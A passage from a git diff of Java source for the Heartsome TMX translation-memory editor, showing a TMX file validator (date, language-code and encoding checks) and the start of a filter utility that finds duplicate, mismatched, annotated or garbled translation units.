"-1"); + } else { + if (ids.get(s).equals("1")) { + ids.put(s, "0"); + } else { + throw new Exception( + Messages.getString("tmxeditor.tmxFileValidator.error.duplicateElement_type_2") + + "\n" + segFrag + "\n"); + } + } + } + } + } + + vn.pop(); + + if (balance != 0) { + throw new Exception(Messages.getString("tmxeditor.tmxFileValidator.error.elementcountWrong") + "\n" + + vu.getElementFragment() + "\n"); + } + if (ids.size() > 0) { + @SuppressWarnings("rawtypes") + Enumeration en = ids.keys(); + while (en.hasMoreElements()) { + if (!ids.get(en.nextElement()).equals("0")) { //$NON-NLS-1$ + throw new Exception(Messages.getString("tmxeditor.tmxFileValidator.error.elementNotMacth") + + "\n" + vu.getElementFragment() + "\n"); + } + } + } + } + } + + private void checkAttribute(Map attributesMap, VTDUtils vu) throws Exception { + Iterator> it = attributesMap.entrySet().iterator(); + while (it.hasNext()) { + Entry entry = it.next(); + String name = entry.getKey(); + String value = entry.getValue(); + + if (name.equals("lang") || name.equals("adminlang") || name.equals("xml:lang")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + if (!checkLang(value)) { + throw new Exception(MessageFormat.format( + Messages.getString("tmxeditor.tmxFileValidator.error.WrongLangCode"), value) + + "\n" + vu.getElementFragment() + "\n"); + } + } + if (name.equals("lastusagedate") || name.equals("changedate") || name.equals("creationdate")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + if (!checkDate(value)) { + throw new Exception(MessageFormat.format( + Messages.getString("tmxeditor.tmxFileValidator.error.wrongdateformat"), value) + + "\n" + vu.getElementFragment() + "\n"); + } + } + if (name.equals("tuid")) { //$NON-NLS-1$ + if (!tuids.containsKey(value)) { + tuids.put(value, ""); + } else { + throw new Exception(MessageFormat.format( + Messages.getString("tmxeditor.tmxFileValidator.error.duplicateTuid"), value) + + "\n" + vu.getElementFragment() + "\n"); + } + } + } + } + + /** + * 获å–所有属性 + * @param vn + * @return + * @throws Exception + * ; + */ + private Map getAllAttributes(VTDNav vn) throws Exception { + vn.push(); + AutoPilot apAttributes = new AutoPilot(vn); + Map attributes = new HashMap(); + apAttributes.selectXPath("./@*"); + int inx = -1; + while ((inx = apAttributes.evalXPath()) != -1) { + String name = vn.toString(inx); + inx = vn.getAttrVal(name); + String value = inx != -1 ? vn.toString(inx) : ""; + attributes.put(name, value); + + } + vn.pop(); + return attributes; + } + + private boolean save(XMLModifier xm, File file) { + try { + FileOutputStream fos = new FileOutputStream(file); + BufferedOutputStream bos = new BufferedOutputStream(fos); + xm.output(bos); // 写入文件 + bos.close(); + fos.close(); + return true; + } catch (Exception e) { + LOGGER.error("", e); + } + return false; + } + + private boolean checkDate(String date) { + // YYYYMMDDThhmmssZ + if (date.length() != 16) { + return false; + } + if (date.charAt(8) != 'T') { + return false; + } + if (date.charAt(15) != 'Z') { + return false; + } + try { + int year = Integer.parseInt("" + date.charAt(0) + date.charAt(1) + date.charAt(2) + date.charAt(3)); //$NON-NLS-1$ + if (year < 0) { + return false; + } + int month = Integer.parseInt("" + date.charAt(4) + date.charAt(5)); //$NON-NLS-1$ + if (month < 1 || month > 12) { + return false; + } + int day = Integer.parseInt("" + date.charAt(6) + date.charAt(7)); //$NON-NLS-1$ + switch (month) { + case 1: + case 3: + case 5: + case 7: + case 8: + case 10: + case 12: + if (day < 1 || day > 31) { + return false; + } + break; + case 4: + case 6: + case 9: + case 11: + if (day < 1 || day > 30) { + return false; + } + break; + case 2: + // check for leap years + if (year % 4 == 0) { + if (year % 100 == 0) { + // not all centuries are leap years + if (year % 400 == 0) { + if (day < 1 || day > 29) { + return false; + } + } else { + // not leap year + if (day < 1 || day > 28) { + return false; + } + } + } + if (day < 1 || day > 29) { + return false; + } + } else if (day < 1 || day > 28) { + return false; + } + } + int hour = Integer.parseInt("" + date.charAt(9) + date.charAt(10)); //$NON-NLS-1$ + if (hour < 0 || hour > 23) { + return false; + } + int min = Integer.parseInt("" + date.charAt(11) + date.charAt(12)); //$NON-NLS-1$ + if (min < 0 || min > 59) { + return false; + } + int sec = Integer.parseInt("" + date.charAt(13) + date.charAt(14)); //$NON-NLS-1$ + if (sec < 0 || sec > 59) { + return false; + } + } catch (Exception e) { + return false; + } + return true; + } + + private boolean checkLang(String lang) { + if (lang.startsWith("x-") || lang.startsWith("X-")) { //$NON-NLS-1$ //$NON-NLS-2$ + return true; + } + + // Accepted formats are: + // xx: ISO 639-1 + // xxx: ISO 639-2 + // xx-YY: ISO-639-1 + ISO3166-1 + // xxx-YY: ISO-639-2 + ISO3166-1 + + int len = lang.length(); + if (len != 2 && len != 3 && len != 5 && len != 6) { + return false; + } + if (!isAlpha(lang.charAt(0)) || !isAlpha(lang.charAt(1))) { + return false; + } + if (len == 5 && lang.charAt(2) != '-') { + return false; + } + if (len == 5 && (!isAlpha(lang.charAt(3)) || !isAlpha(lang.charAt(4)))) { + return false; + } + if (len == 6 && lang.charAt(3) != '-') { + return false; + } + if (len == 6 && (!isAlpha(lang.charAt(2)) || !isAlpha(lang.charAt(4)) || !isAlpha(lang.charAt(5)))) { + return false; + } + String[] parts = lang.split("-"); //$NON-NLS-1$ + if (!languages.containsKey(parts[0].toLowerCase())) { + return false; + } + if (parts.length == 2) { + if (!countries.containsKey(parts[1].toUpperCase())) { + return false; + } + } + return true; + } + + private boolean isAlpha(char c) { + return (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z'); + } + + /** + * 简å•æµ‹è¯•ç¼–ç  + * @param fileName + * @return ; + */ + private String getXMLEncoding(String fileName) { + // return UTF-8 as default + String result = "UTF-8"; //$NON-NLS-1$ + try { + // check if there is a BOM (byte order mark) + // at the start of the document + FileInputStream inputStream = new FileInputStream(fileName); + byte[] array = new byte[2]; + inputStream.read(array); + inputStream.close(); + byte[] lt = "<".getBytes(); //$NON-NLS-1$ + byte[] feff = { -1, -2 }; + byte[] fffe = { -2, -1 }; + if (array[0] != lt[0]) { + // there is a BOM, now check the order + if (array[0] == fffe[0] && array[1] == fffe[1]) { + return "UTF-16BE"; //$NON-NLS-1$ + } + if (array[0] == feff[0] && array[1] == feff[1]) { + return "UTF-16LE"; //$NON-NLS-1$ + } + } + // check declared encoding + FileReader input = new FileReader(fileName); + BufferedReader buffer = new BufferedReader(input); + String line = buffer.readLine(); + input.close(); + if (line.startsWith("")); //$NON-NLS-1$ + line = line.replaceAll("\'", "\""); //$NON-NLS-1$ //$NON-NLS-2$ + StringTokenizer tokenizer = new StringTokenizer(line); + while (tokenizer.hasMoreTokens()) { + String token = tokenizer.nextToken(); + if (token.startsWith("encoding")) { //$NON-NLS-1$ + result = token.substring(token.indexOf("\"") + 1, token.lastIndexOf("\"")); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + } + } catch (Exception e) { + LOGGER.error("", e); + } + return result; + } + + public StyledText getStyledText() { + return styledText; + } + + public void setStyledText(StyledText styledText) { + this.styledText = styledText; + } + + public String getTmxLocation() { + return tmxLocation; + } + + public void setTmxLocation(String tmxLocation) { + this.tmxLocation = tmxLocation; + } + + @Override + public void run() { + validate(); + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TmxFilterQueryUtil.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TmxFilterQueryUtil.java new file mode 100644 index 0000000..d079f43 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TmxFilterQueryUtil.java @@ -0,0 +1,1844 @@ +package net.heartsome.cat.te.core.utils; + +import java.io.File; +import java.net.URI; +import java.text.ParseException; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.HashMap; +import java.util.HashSet; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; + +import javax.xml.xquery.XQConnection; +import javax.xml.xquery.XQDataSource; +import javax.xml.xquery.XQExpression; +import javax.xml.xquery.XQSequence; + +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.innertag.TmxInnerTagParser; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.te.core.Activator; +import net.heartsome.cat.te.core.TeCoreConstant; +import net.heartsome.cat.te.core.bean.Property; +import net.heartsome.cat.te.core.bean.SimpleTUData; +import net.heartsome.cat.te.core.bean.TmxEditorFilterBean; +import net.heartsome.cat.te.core.qa.QACommonFuction; +import net.heartsome.cat.te.core.resource.Messages; +import net.heartsome.cat.te.core.tmxdata.TmxLargeFileContainer; +import net.heartsome.xml.vtdimpl.VTDUtils; +import net.sf.saxon.xqj.SaxonXQDataSource; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.preference.IPreferenceStore; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.w3c.dom.Node; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDException; +import com.ximpleware.VTDNav; + +/** + * 过滤器查询工具 + * @author robert 2013-07-19 + * @version + * @since JDK1.6 + */ +public class TmxFilterQueryUtil { + private boolean ignoreTag; + private boolean ignoreCase; + private String srcLang; + private String tgtLang; + /** 生æˆçš„临时索引文件的路径 */ + private String indexFileLC; + private static final String SEGName = "seg"; + + private TmxLargeFileContainer container; + public static final Logger LOGGER = LoggerFactory.getLogger(TmxFilterQueryUtil.class); + + public TmxFilterQueryUtil(TmxLargeFileContainer container, String srcLang, String tgtLang) { + this.container = container; + this.srcLang = srcLang.toLowerCase(); + this.tgtLang = tgtLang.toLowerCase(); + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + ignoreTag = store.getBoolean(TeCoreConstant.FILTER_ignoreTag); + ignoreCase = store.getBoolean(TeCoreConstant.FILTER_ignoreCase); + + } + + /** + * 2ã€è¯‘文与æºæ–‡ç›¸åŒçš„过滤器 + */ + public List getSrcSameWithTgtTuIdentifiers(IProgressMonitor monitor) throws OperationCanceledException { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + long time1 = System.currentTimeMillis(); + monitor.beginTask("", container.getSubFiles().size()); + + List tuidentifieList = new ArrayList(); + TmxInnerTagParser parser = TmxInnerTagParser.getInstance(); + try { + VTDUtils vu = null; + VTDNav vn = null; + AutoPilot ap = new AutoPilot(); + + for (String subFile : container.getSubFiles()) { + vu = container.getVTDUtils(subFile); + vn = vu.getVTDNav(); + vn.push(); + ap.bind(vn); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + + String tuXpath = "/tmx/body/tu[tuv[lower-case(@xml:lang)='" + srcLang + + "'] and tuv[lower-case(@xml:lang)='" + tgtLang + "']]/tuv[lower-case(@xml:lang)='" + srcLang + + "']/seg"; + ap.selectXPath(tuXpath); + + String text = ""; + String hsid = ""; + String identifie = ""; + int index = -1; + Map srcMap = new LinkedHashMap(); + while (ap.evalXPath() != -1) { + vn.push(); + vn.toElement(VTDNav.PARENT); + vn.toElement(VTDNav.PARENT); + if ((index = vn.getAttrVal("hsid")) != -1) { + hsid = vn.toString(index); + } + vn.pop(); + if (index == -1) { + continue; + } + + identifie = subFile + TeCoreConstant.ID_MARK + hsid; + text = vu.getElementContent(); + text = TextUtil.trimString(text); + if (text == null) { + text = ""; + } + if (ignoreTag) { + text = parser.getTmxPureText(text); + } + srcMap.put(identifie, text); + } + + tuXpath = "/tmx/body/tu[tuv[lower-case(@xml:lang)='" + srcLang + "'] and tuv[lower-case(@xml:lang)='" + + tgtLang + "']]/tuv[lower-case(@xml:lang)='" + tgtLang + "']/seg"; + ap.selectXPath(tuXpath); + while (ap.evalXPath() != -1) { + vn.push(); + vn.toElement(VTDNav.PARENT); + vn.toElement(VTDNav.PARENT); + if ((index = vn.getAttrVal("hsid")) != -1) { + hsid = vn.toString(index); + } + vn.pop(); + if (index == -1) { + continue; + } + + identifie = subFile + TeCoreConstant.ID_MARK + hsid; + text = vu.getElementContent(); + text = TextUtil.trimString(text); + if (text == null) { + text = ""; + } + if (ignoreTag) { + text = parser.getTmxPureText(text); + } + + if (ignoreCase ? text.equalsIgnoreCase(srcMap.get(identifie)) : text.equals(srcMap.get(identifie))) { + tuidentifieList.add(identifie); + } + srcMap.remove(identifie); + } + vn.pop(); + + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + } + + monitor.done(); + System.out.println("过滤所需耗时为: " + (System.currentTimeMillis() - time1)); + } catch (Exception e) { + LOGGER.error(Messages.getString("utils.TmxFilterQueryUtil.LOG.getSrcSameWithTgtTu"), e); + } + + return tuidentifieList; + } + + + /** + * 3ã€èŽ·å–æºæ–‡ç›¸åŒè¯‘æ–‡ä¸åŒçš„ 文本段的 tuIdentifie + * @param monitor + * @return ; + */ + public List getSrcSameButTgtTUIdentifies(IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + long time1 = System.currentTimeMillis(); + + List tuidentifieList = new ArrayList(); + + monitor.beginTask("", container.getSubFiles().size() + 2); + + try { + List allDataList = getAllTuDataOfTmxForFilter(monitor); + + + Collections.sort(allDataList, new Comparator() { + @Override + public int compare(TmxTU tu1, TmxTU tu2) { + String srcText1 = ignoreTag ? tu1.getSource().getPureText() : tu1.getSource().getFullText(); + String srcText2 = ignoreTag ? tu2.getSource().getPureText() : tu2.getSource().getFullText(); + return srcText1.compareTo(srcText2); + } + }); + + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + + Map> indexMap = new HashMap>(); + + TmxTU bean = null; + TmxTU curBean = null; + List equalsList; + bigFor:for (int i = 0; i < allDataList.size(); i++) { + bean = allDataList.get(i); + equalsList = new ArrayList(); + equalsList.add(bean); + String srcText = ignoreTag ? bean.getSource().getPureText() : bean.getSource().getFullText(); + + for (int j = i + 1; j < allDataList.size(); j++) { + curBean = allDataList.get(j); + String curSrcText = ignoreTag ? curBean.getSource().getPureText() : curBean.getSource().getFullText(); + if (srcText.equals(curSrcText)) { + equalsList.add(curBean); + i ++; + }else { + ananysisSrcSameData(indexMap, equalsList); + continue bigFor; + } + if (j == allDataList.size() - 1) { + // 处ç†ã€€equalslist 中是å¦æœ‰æ®‹ä½™çš„æ•°æ®ã€‚ + ananysisSrcSameData(indexMap, equalsList); + } + } + } + + // 最åŽå¤„ç†æŽ’åºï¼Œå°†çŽ°åœ¨çš„排åºæ¢å¤åˆ°ä¹‹å‰çš„情况。 + List keyList = new ArrayList(); + keyList.addAll(indexMap.keySet()); + indexFileIdListSort(keyList); + List resultIndexList = new ArrayList(); + for (int i = 0; i < keyList.size(); i++) { + resultIndexList.addAll(indexMap.get(keyList.get(i))); + } + // 将 indexId 转æˆã€€tuId + int index = -1; + int subFileIndex = -1; + String tuID = ""; + for (String indexID : resultIndexList) { + index = indexID.indexOf(TeCoreConstant.ID_MARK); + subFileIndex = Integer.parseInt(indexID.substring(0, index)); + tuID = container.getSubFiles().get(subFileIndex) + indexID.substring(index, indexID.length()); + tuidentifieList.add(tuID); + } + + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + } catch (Exception e) { + LOGGER.error(Messages.getString("utils.TmxFilterQueryUtil.LOG.getSrcSameButTgtTU"), e); + return null; + } + System.out.println("过滤所需耗时为: " + (System.currentTimeMillis() - time1)); + return tuidentifieList; + } + + + /** + * 处ç†ç›¸å…³æ•°æ®ï¼Œä¸»è¦æ˜¯ç”¨äºŽåˆ†æžã€€ç›¸åŒæºæ–‡ä¸åŒè¯‘文的数æ®ï¼Œå¦‚符åˆæ ‡å‡†ï¼Œæ”¾åˆ°ç¼“存中。 + * @param equalsList + * @param ignoreCase + * @param ignoreTag ; + */ + private void ananysisSrcSameData(Map> indexMap, List equalsList){ + if (equalsList.size() > 1) { + // 先检查是å¦è¯‘æ–‡ä¸åŒ + boolean isTgtDiff = false; + String tgtText = ignoreTag ? equalsList.get(0).getTarget().getPureText() + : equalsList.get(0).getTarget().getFullText(); + tgtFor:for (int k = 1; k < equalsList.size(); k++) { + String curTgtText = ignoreTag ? equalsList.get(k).getTarget().getPureText() + : equalsList.get(k).getTarget().getFullText(); + if (!tgtText.equals(curTgtText)) { + isTgtDiff = true; + break tgtFor; + } + } + + if (isTgtDiff) { + List resultIndexIdList = new ArrayList(); + for(TmxTU thisBean : equalsList){ + resultIndexIdList.add(thisBean.getFidx() + TeCoreConstant.ID_MARK + thisBean.getTmId()); + } + // 对 equalsList 按 lineNumber æŽ’åº + indexFileIdListSort(resultIndexIdList); + indexMap.put(resultIndexIdList.get(0), resultIndexIdList); + } + } + } + + /** + * 4ã€èŽ·å–译文相åŒæºæ–‡ä¸åŒçš„ 文本段的 tuIdentifie + * @param monitor + * @return ; + */ + public List getTgtSameButSrcTUIdentifies(IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + long time1 = System.currentTimeMillis(); + + List tuidentifieList = new ArrayList(); + + monitor.beginTask("", container.getSubFiles().size() + 2); + + try { + List allDataTempList = getAllTuDataOfTmxForFilter(monitor); + List allDataList = new ArrayList(); + TmxTU tempTU = null; + // 这里的译文ä¸å¯èƒ½ä¸ºã€€null,因为 getAllTuDataOfTmxList 方法已ç»åšäº†é™åˆ¶ï¼Œè¿™é‡Œä¸»è¦æ˜¯ä¸ºäº†æŽ’除译文全为空,此时会报很多译文相åŒæºæ–‡ä¸åŒçš„情况。 + for (int i = 0; i < allDataTempList.size(); i++) { + tempTU = allDataTempList.get(i); + if (!(ignoreTag ? tempTU.getTarget().getPureText().isEmpty() : tempTU.getTarget().getFullText().isEmpty())) { + allDataList.add(tempTU); + } + } + + Collections.sort(allDataList, new Comparator() { + @Override + public int compare(TmxTU tu1, TmxTU tu2) { + String tgtText1 = ignoreTag ? tu1.getTarget().getPureText() : tu1.getTarget().getFullText(); + String tgtText2 = ignoreTag ? tu2.getTarget().getPureText() : tu2.getTarget().getFullText(); + return tgtText1.compareTo(tgtText2); + } + }); + + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + + Map> indexMap = new HashMap>(); + + TmxTU bean = null; + TmxTU curBean = null; + List equalsList; + bigFor:for (int i = 0; i < allDataList.size(); i++) { + bean = allDataList.get(i); + equalsList = new ArrayList(); + equalsList.add(bean); + String tgtText = ignoreTag ? bean.getTarget().getPureText() : bean.getTarget().getFullText(); + + for (int j = i + 1; j < allDataList.size(); j++) { + curBean = allDataList.get(j); + String curTgtText = ignoreTag ? curBean.getTarget().getPureText() : curBean.getTarget().getFullText(); + if (tgtText.equals(curTgtText)) { + equalsList.add(curBean); + i ++; + }else { + ananysisTgtSameData(indexMap, equalsList); + continue bigFor; + } + if (j == allDataList.size() - 1) { + // 处ç†ã€€equalslist 中是å¦æœ‰æ®‹ä½™çš„æ•°æ®ã€‚ + ananysisTgtSameData(indexMap, equalsList); + } + } + } + + // 最åŽå¤„ç†æŽ’åºï¼Œå°†çŽ°åœ¨çš„排åºæ¢å¤åˆ°ä¹‹å‰çš„情况。 + List keyList = new ArrayList(); + keyList.addAll(indexMap.keySet()); + indexFileIdListSort(keyList); + List resultIndexList = new ArrayList(); + for (int i = 0; i < keyList.size(); i++) { + resultIndexList.addAll(indexMap.get(keyList.get(i))); + } + // 将 indexId 转æˆã€€tuId + int index = -1; + int subFileIndex = -1; + String tuID = ""; + for (String indexID : resultIndexList) { + index = indexID.indexOf(TeCoreConstant.ID_MARK); + subFileIndex = Integer.parseInt(indexID.substring(0, index)); + tuID = container.getSubFiles().get(subFileIndex) + indexID.substring(index, indexID.length()); + tuidentifieList.add(tuID); + } + + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + } catch (Exception e) { + LOGGER.error(Messages.getString("utils.TmxFilterQueryUtil.LOG.getTgtSameButSrcTU"), e); + return null; + } + + System.out.println("过滤所需耗时为: " + (System.currentTimeMillis() - time1)); + return tuidentifieList; + } + + /** + * 处ç†ç›¸å…³æ•°æ®ï¼Œä¸»è¦æ˜¯ç”¨äºŽåˆ†æžã€€ç›¸åŒè¯‘æ–‡ä¸åŒæºæ–‡çš„æ•°æ®ï¼Œå¦‚符åˆæ ‡å‡†ï¼Œæ”¾åˆ°ç¼“存中。 + * @param equalsList + * @param ignoreCase + * @param ignoreTag ; + */ + private void ananysisTgtSameData(Map> indexMap, List equalsList){ + if (equalsList.size() > 1) { + // 先检查是å¦æºæ–‡ä¸åŒ + boolean isSrcDiff = false; + String srcText = ignoreTag ? equalsList.get(0).getSource().getPureText() + : equalsList.get(0).getSource().getFullText(); + tgtFor:for (int k = 1; k < equalsList.size(); k++) { + String curSrcText = ignoreTag ? equalsList.get(k).getSource().getPureText() + : equalsList.get(k).getSource().getFullText(); + if (!srcText.equals(curSrcText)) { + isSrcDiff = true; + break tgtFor; + } + } + + if (isSrcDiff) { + List resultIndexIdList = new ArrayList(); + for(TmxTU thisBean : equalsList){ + resultIndexIdList.add(thisBean.getFidx() + TeCoreConstant.ID_MARK + thisBean.getTmId()); + } + // 对 equalsList 按 lineNumber æŽ’åº + indexFileIdListSort(resultIndexIdList); + indexMap.put(resultIndexIdList.get(0), resultIndexIdList); + } + } + } + + + /** + * 5ã€èŽ·å–é‡å¤æ–‡æœ¬æ®µ + * @param monitor + * @return ; + */ + public List getDuplicateSegTUIdentifies(IProgressMonitor monitor){ + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + long time1 = System.currentTimeMillis(); + monitor.beginTask("", container.getSubFiles().size() + 2); + List tuidentifieList = new ArrayList(); + + try { + List tuSrcList = getAllTuDataOfTmxForFilter(monitor); + Collections.sort(tuSrcList, new Comparator() { + @Override + public int compare(TmxTU tu1, TmxTU tu2) { + String srcText1 = ignoreTag ? tu1.getSource().getPureText() : tu1.getSource().getFullText(); + String srcText2 = ignoreTag ? tu2.getSource().getPureText() : tu2.getSource().getFullText(); + return srcText1.compareTo(srcText2); + } + }); + + TmxTU tuBean = null; + TmxTU curBean = null; + List equalsList = new ArrayList(); + Map> indexMap = new HashMap>(); + bigFor:for (int i = 0; i < tuSrcList.size(); i++) { + tuBean = tuSrcList.get(i); + equalsList = new ArrayList(); + equalsList.add(tuBean); + String srcText = ignoreTag ? tuBean.getSource().getPureText() : tuBean.getSource().getFullText(); + + for (int j = i + 1; j < tuSrcList.size(); j++) { + curBean = tuSrcList.get(j); + String curSrcText = ignoreTag ? curBean.getSource().getPureText() : curBean.getSource().getFullText(); + if (srcText.equals(curSrcText)) { + equalsList.add(curBean); + i ++; + }else { + if (equalsList.size() > 1) { + ananysisDuplicateData(indexMap, equalsList); + } + continue bigFor; + } + if (j == tuSrcList.size() - 1) { + // 处ç†ã€€equalslist 中是å¦æœ‰æ®‹ä½™çš„æ•°æ®ã€‚ + if (equalsList.size() > 1) { + ananysisDuplicateData(indexMap, equalsList); + } + } + } + } + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + + // 最åŽå¤„ç†æŽ’åºï¼Œå°†çŽ°åœ¨çš„排åºæ¢å¤åˆ°ä¹‹å‰çš„情况。 + List keyList = new ArrayList(); + keyList.addAll(indexMap.keySet()); + indexFileIdListSort(keyList); + List resultIndexList = new ArrayList(); + for (int i = 0; i < keyList.size(); i++) { + resultIndexList.addAll(indexMap.get(keyList.get(i))); + } + // 将 indexId 转æˆã€€tuId + int index = -1; + int subFileIndex = -1; + String tuID = ""; + for (String indexID : resultIndexList) { + index = indexID.indexOf(TeCoreConstant.ID_MARK); + subFileIndex = Integer.parseInt(indexID.substring(0, index)); + tuID = container.getSubFiles().get(subFileIndex) + indexID.substring(index, indexID.length()); + tuidentifieList.add(tuID); + } + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + + } catch (Exception e) { + LOGGER.error(Messages.getString("utils.TmxFilterQueryUtil.LOG.getDuplicateSrcTU"), e); + return null; + } + monitor.done(); + System.out.println("过滤所需耗时为: " + (System.currentTimeMillis() - time1)); + return tuidentifieList; + } + + /** + * 处ç†ç›¸å…³æ•°æ®ï¼Œä¸»è¦æ˜¯ç”¨äºŽåˆ†æžã€€ç›¸åŒè¯‘æ–‡ä¸åŒæºæ–‡çš„æ•°æ®ï¼Œå¦‚符åˆæ ‡å‡†ï¼Œæ”¾åˆ°ç¼“存中。 + * @param equalsList + * @param ignoreCase + * @param ignoreTag ; + */ + private void ananysisDuplicateData(Map> indexMap, List equalsList){ + if (equalsList.size() > 1) { + List resultIdxIdList = null; + // 因为 arraylist 的删除ä¸ç»™åŠ›ï¼Œæ•…,将è¦åˆ é™¤çš„ index 放到 hashset 里é¢ï¼Œä¸ºäº†æ高效率。 + HashSet removedIdSet = new HashSet(); + int startIdx = 0; + TmxTU tuBean = null; + TmxTU curTuBean = null; + whileName:while(startIdx < equalsList.size() - 1){ + if (removedIdSet.contains(startIdx)) { + startIdx ++; + continue whileName; + } + + resultIdxIdList = new ArrayList(); + + tuBean = equalsList.get(startIdx); + String tgtText = ignoreTag ? tuBean.getTarget().getPureText() : tuBean.getTarget().getFullText(); + resultIdxIdList.add(tuBean.getFidx() + TeCoreConstant.ID_MARK + tuBean.getTmId()); + removedIdSet.add(startIdx); + forName:for (int k = startIdx + 1; k < equalsList.size(); k++) { + if (removedIdSet.contains(k)) { + continue forName; + } + + curTuBean = equalsList.get(k); + String curTgtText = ignoreTag ? curTuBean.getTarget().getPureText() : curTuBean.getTarget().getFullText(); + if (tgtText.equals(curTgtText)) { + resultIdxIdList.add(curTuBean.getFidx() + TeCoreConstant.ID_MARK + curTuBean.getTmId()); + removedIdSet.add(k); + } + } + + if (resultIdxIdList.size() >= 2) { + indexFileIdListSort(resultIdxIdList); + indexMap.put(resultIdxIdList.get(0), resultIdxIdList); + } + startIdx ++; + } + } + } + + + /** + * 6ã€èŽ·å–带批注的文本段的 tuIdentifie + * @param monitor + * @return ; + */ + public List getWithNoteSegTUIdentifies(IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + long time1 = System.currentTimeMillis(); + monitor.beginTask("", container.getSubFiles().size()); + + List tuidentifieList = new ArrayList(); + VTDUtils vu = null; + VTDNav vn = null; + AutoPilot ap = new AutoPilot(); + + try { + for (String subFile : container.getSubFiles()) { + vu = container.getVTDUtils(subFile); + vn = vu.getVTDNav(); + ap.bind(vn); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + vn.push(); + String xpath = "/tmx/body/tu[tuv[lower-case(@xml:lang)='" + srcLang + "'] " + + "and tuv[lower-case(@xml:lang)='" + tgtLang + "'] and (note/text()!='' or note/*)]"; + ap.selectXPath(xpath); + String hsid = null; + int index = -1; + while (ap.evalXPath() != -1) { + if ((index = vn.getAttrVal("hsid")) != -1) { + hsid = vn.toString(index); + } + if (index == -1) { + continue; + } + + String identifie = subFile + TeCoreConstant.ID_MARK + hsid; + tuidentifieList.add(identifie); + } + vn.pop(); + + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + } + + monitor.done(); + System.out.println("过滤所需耗时为: " + (System.currentTimeMillis() - time1)); + } catch (Exception e) { + LOGGER.error(Messages.getString("utils.TmxFilterQueryUtil.LOG.getWithNoteSegTU"), e); + } finally { + monitor.done(); + } + return tuidentifieList; + } + + /** + * 7ã€èŽ·å–带乱ç çš„文本段的 tuIdentifie + * @param monitor + * @return ; + */ + public List getWithGarbleSegTUIdentifies(IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + List tuidentifieList = new ArrayList(); + long time1 = System.currentTimeMillis(); + monitor.beginTask("", container.getSubFiles().size()); + + VTDUtils vu = null; + VTDNav vn = null; + AutoPilot ap = new AutoPilot(); + TmxInnerTagParser parser = TmxInnerTagParser.getInstance(); + + try { + for (String subFile : container.getSubFiles()) { + vu = container.getVTDUtils(subFile); + vn = vu.getVTDNav(); + ap.bind(vn); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + vn.push(); + String xpath = "/tmx/body/tu[tuv[lower-case(@xml:lang)='" + srcLang + + "'] and tuv[lower-case(@xml:lang)='" + tgtLang + "']]/tuv[lower-case(@xml:lang)='" + srcLang + + "']/seg"; + ap.selectXPath(xpath); + String text = null; + String hsid = null; + int index = -1; + String identifie = null; + + while (ap.evalXPath() != -1) { + vn.push(); + vn.toElement(VTDNav.PARENT); + vn.toElement(VTDNav.PARENT); + if ((index = vn.getAttrVal("hsid")) != -1) { + hsid = vn.toString(index); + } + vn.pop(); + if (index == -1) { + continue; + } + + identifie = subFile + TeCoreConstant.ID_MARK + hsid; + text = parser.getTmxPureText(vu.getElementContent()); + + if (!java.nio.charset.Charset.forName("UTF-8").newEncoder().canEncode(text)) { + tuidentifieList.add(identifie); + } + } + + xpath = "/tmx/body/tu[tuv[lower-case(@xml:lang)='" + srcLang + "'] and tuv[lower-case(@xml:lang)='" + + tgtLang + "']]/tuv[lower-case(@xml:lang)='" + tgtLang + "']/seg"; + ap.selectXPath(xpath); + text = null; + identifie = null; + while (ap.evalXPath() != -1) { + vn.push(); + vn.toElement(VTDNav.PARENT); + vn.toElement(VTDNav.PARENT); + if ((index = vn.getAttrVal("hsid")) != -1) { + hsid = vn.toString(index); + } + vn.pop(); + if (index == -1) { + continue; + } + + identifie = subFile + TeCoreConstant.ID_MARK + hsid; + + if (tuidentifieList.contains(identifie)) { + continue; + } + + text = parser.getTmxPureText(vu.getElementContent()); + + if (!java.nio.charset.Charset.forName("UTF-8").newEncoder().canEncode(text)) { + tuidentifieList.add(identifie); + } + } + vn.pop(); + + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + } + + monitor.done(); + System.out.println("过滤所需耗时为: 